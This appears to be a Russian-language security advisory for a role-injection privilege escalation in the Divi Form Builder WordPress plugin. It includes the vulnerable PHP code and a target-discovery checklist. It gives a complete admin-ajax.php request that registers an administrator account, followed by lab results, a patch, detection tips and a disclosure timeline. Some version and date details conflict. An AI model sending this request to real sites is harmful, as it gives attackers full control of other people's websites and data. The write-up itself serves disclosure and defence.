
CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Unauthenticated Privilege Escalation via Role Injection
Плагин WordPress Divi Form Builder версии 5.1.2 и ниже содержит критическую уязвимость, которая позволяет неаутентифицированному злоумышленнику создавать учётную запись Администратора напрямую через форму регистрации.
Одно скрытое поле. Одно изменённое значение. Полный доступ ко всему сайту.
includes/shared/handlers/FormSubmissionHandler.php → create_user()
// Строка ~1691: Получение роли из ввода пользователя (БЕЗ ПРОВЕРКИ БЕЗОПАСНОСТИ)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Строка ~1702: Проверка ТОЛЬКО СУЩЕСТВУЕТ ли роль в системе, НЕ является ли она БЕЗОПАСНОЙ
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber';
}
// Строка ~1745: Немедленное применение внедрённой роли!
$user = new WP_User($user_id);
$user->set_role($role); // ← "administrator" применяется сразу
ПРОБЛЕМНАЯ ЛОГИКА ПРОВЕРКИ
┌──────────────────────────────────────────────────────┐
│ Злоумышленник отправляет: role=administrator │
│ ↓ │
│ sanitize_text_field() → "administrator" (чисто) │
│ ↓ │
│ isset($roles_obj->roles["administrator"]) → TRUE │ ← ОШИБКА! Только проверяет СУЩЕСТВУЕТ/НЕТ
│ ↓ │
│ $user->set_role("administrator") → ПОЛНЫЙ АДМИН! │ ← ПОВЫШЕНИЕ ПРИВИЛЕГИЙ!
└──────────────────────────────────────────────────────┘
"administrator" — это действительная роль в WordPress,
поэтому проверка isset() ВСЕГДА возвращает true.
Эта функция НИКОГДА не отклоняет опасные роли.
Форма регистрации DFB содержит скрытое поле:
<!-- Исходное значение разработчика -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">
<!-- Злоумышленнику достаточно изменить значение -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">
[★] Обнаружение цели: Индикатор Divi Form Builder
├── Сканирование конечных точек: 50+ путей регистрации
├── Сканирование ссылок главной страницы: ключевые слова
├── REST API: /wp-json/wp/v2/pages?search=register
├── Разбор Sitemap: URL-адреса XML sitemap
├── DFB REST API: /wp-json/divi-form-builder/v1
├── AJAX-зонд: de_fb_ajax_submit_ajax_handler
├── WooCommerce: подстраницы /my-account/
├── robots.txt: пользовательские sitemap + disallow
├── Страницы контактов: скрытые формы DFB
└── wp-json глубоко: сканирование с приоритетом контента
[✓] Найдено: <input class="df_hidden_user_role" value="customer">
[✓] Версия плагина: v4.1.9 (УЯЗВИМО)
[✓] Многошаговая форма с reCAPTCHA v3
Необходимые параметры:
├── fb_nonce: [из скрытого поля / de_fb_obj]
├── form_key: [из скрытого поля]
├── form_type: register
├── divi-form-submit: yes
└── role: [ВНЕДРЕНИЕ: administrator]
Сопоставление полей:
├── de_fb_user_login + user_login (оба варианта обязательны)
├── de_fb_user_email + user_email
├── de_fb_user_pass + user_pass
└── de_fb_pass_repeat
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest
------POC
Content-Disposition: form-data; name="action"
de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"
[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"
administrator
------POC
Content-Disposition: form-data; name="form_type"
register
------POC
Content-Disposition: form-data; name="divi-form-submit"
yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"
attacker1337
------POC
Content-Disposition: form-data; name="user_login"
attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"
[email protected]
------POC
Content-Disposition: form-data; name="user_email"
[email protected]
------POC--
[→] POST /wp-login.php
user_login=attacker1337&user_pass=Str0ngP@ss!
[←] HTTP 302 → /wp-admin/
[✓] ПОЛНЫЙ ДОСТУП АДМИНИСТРАТОРА ПОДТВЕРЖДЁН
├── Панель управления: /wp-admin/
├── Пользователи: Может создавать/удалять любых пользователей
├── Плагины: Может устанавливать/активировать/редактировать PHP
├── Темы: Может редактировать файлы шаблонов → RCE
└── Настройки: Полное управление сайтом
Тестирование проведено в изолированной среде Docker (WordPress 6.5 + DFB v5.0.0):
╔══════════════════════════════════════════════════════╗
║ РЕЗУЛЬТАТЫ ЛАБОРАТОРНОЙ ПРОВЕРКИ ║
╠══════════════════════════════════════════════════════╣
║ Метод: AJAX (admin-ajax.php) ║
║ Внедрённая роль: administrator ║
║ Ответ: "Registration successful!" ║
║ Вход: HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Метод: POST формы (прямая отправка) ║
║ Внедрённая роль: administrator ║
║ Ответ: "Registration successful!" ║
║ Вход: HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Статус: ★ ВЗЛОМАНО — Полный доступ администратора ★ ║
╚══════════════════════════════════════════════════════╝
// ДО (уязвимо):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← Только проверяет СУЩЕСТВУЕТ, а не БЕЗОПАСНО
}
// ПОСЛЕ (безопасно):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Разрешить только безопасные роли для публичной регистрации
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Отклонить все опасные роли
}
role из формы на фронтенде — Использовать уже существующий default_user_rolecurrent_user_can('create_users') для специальных ролей| Дата | Событие |
|---|---|
| 2026-04-13 | Выпущена версия 5.1.3 (возможное исправление на основе changelog) |
| 2026-05-21 | Уязвимость независимо подтверждена в изолированной лаборатории |
| 2026-05-21 | Ответственное раскрытие отправлено в Divi Engine Security |
role=administrator в POST-запросахwp_users на предмет неизвестных новых учётных записей администратора/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerЭтот документ создан в образовательных целях и для ответственного раскрытия. Все тесты эксплуатации проводились в изолированной лабораторной среде. На реальных сайтах проводилось только пассивное обнаружение (идентификация формы и параметров, без отправки эксплойтных данных).
Автор не несёт ответственности за неправомерное использование информации из этого документа.
CVE-2026-5118 • Divi Form Builder ≤ 5.1.2 • Неавторизованное повышение привилегий
Обнаружено и подтверждено: 2026-05-21
| Возможность | Последствие |
|---|
| 🔑 Создать учётную запись администратора без входа в систему | Полный захват сайта |
| 📦 Доступ к данным клиентов WooCommerce | Утечка данных |
| 💉 Редактирование файлов плагинов/тем (PHP) | Удалённое выполнение кода |
| 🕳️ Создание скрытого бэкдора | Постоянный доступ |
| 👥 Просмотр всех данных пользователей | Нарушение конфиденциальности |